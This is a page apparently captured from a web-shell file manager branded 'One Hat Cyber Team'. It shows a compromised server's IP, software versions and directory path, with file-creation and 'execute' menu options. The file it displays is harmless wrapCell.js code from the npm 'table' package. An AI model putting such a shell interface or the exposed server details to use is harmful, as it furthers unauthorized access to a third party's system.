⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
table
/
dist
/
src
/
View File Name :
wrapCell.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.wrapCell = void 0; const utils_1 = require("./utils"); const wrapString_1 = require("./wrapString"); const wrapWord_1 = require("./wrapWord"); /** * Wrap a single cell value into a list of lines * * Always wraps on newlines, for the remainder uses either word or string wrapping * depending on user configuration. * */ const wrapCell = (cellValue, cellWidth, useWrapWord) => { // First split on literal newlines const cellLines = (0, utils_1.splitAnsi)(cellValue); // Then iterate over the list and word-wrap every remaining line if necessary. for (let lineNr = 0; lineNr < cellLines.length;) { let lineChunks; if (useWrapWord) { lineChunks = (0, wrapWord_1.wrapWord)(cellLines[lineNr], cellWidth); } else { lineChunks = (0, wrapString_1.wrapString)(cellLines[lineNr], cellWidth); } // Replace our original array element with whatever the wrapping returned cellLines.splice(lineNr, 1, ...lineChunks); lineNr += lineChunks.length; } return cellLines; }; exports.wrapCell = wrapCell; //# sourceMappingURL=wrapCell.js.map